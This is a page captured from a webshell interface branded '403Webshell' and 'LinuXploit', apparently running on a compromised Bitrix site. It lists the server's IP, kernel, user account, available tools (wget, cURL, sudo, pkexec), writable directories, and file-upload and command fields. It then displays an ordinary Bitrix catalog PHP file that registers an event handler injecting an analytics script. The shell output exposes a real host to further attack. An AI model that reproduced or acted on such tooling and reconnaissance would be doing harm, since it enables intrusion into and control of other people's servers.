403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/catalog/lib/component/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/catalog/lib/component/presethandler.php
<?php

namespace Bitrix\Catalog\Component;

class PresetHandler
{
	/**
	 * @method PresetHandler register() Registers handler for the main::OnProlog event
	 * Event cannot be subscribed from catalog module.
	 * Because catalog module may not be available immediately during installation
	 *
	 * @see \Bitrix\Bitrix24\Preset\PresetCrmStore::apply()
	 * @see \Bitrix\Bitrix24\Preset\PresetCrmStoreMenu::apply()
	 */

	/**
	 * Registers handler for the main::OnProlog event
	 * @return bool
	 */
	public static function register(): bool
	{
		$eventManager = \Bitrix\Main\EventManager::getInstance();
		$eventManager->registerEventHandler("main", "OnProlog", "catalog", "\Bitrix\Catalog\Component\PresetHandler", "onProlog");
		return true;
	}

	/**
	 * Unregisters handler for the main::OnProlog event
	 * @return bool
	 */
	public static function unRegister(): bool
	{
		$eventManager = \Bitrix\Main\EventManager::getInstance();
		$eventManager->unRegisterEventHandler("main", "OnProlog", "catalog", "\Bitrix\Catalog\Component\PresetHandler", "OnProlog");
		return true;
	}

	/**
	 * Insert inline-scripts into the page and execute the rest-request
	 *
	 * @throws \Bitrix\Main\LoaderException
	 */
	public static function onProlog(): void
	{
		\Bitrix\Main\UI\Extension::load(['catalog.store-use']);

		if (UseStore::isPlanRestricted())
		{
			UseStore::enable();
		}

		$content = "
			<script>
				var controller = new BX.Catalog.StoreUse.Controller();
				
				controller.inventoryManagementAnalyticsFromLanding();
			</script>
		";

		global $APPLICATION;
		$APPLICATION->AddViewContent("inline-scripts", $content);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit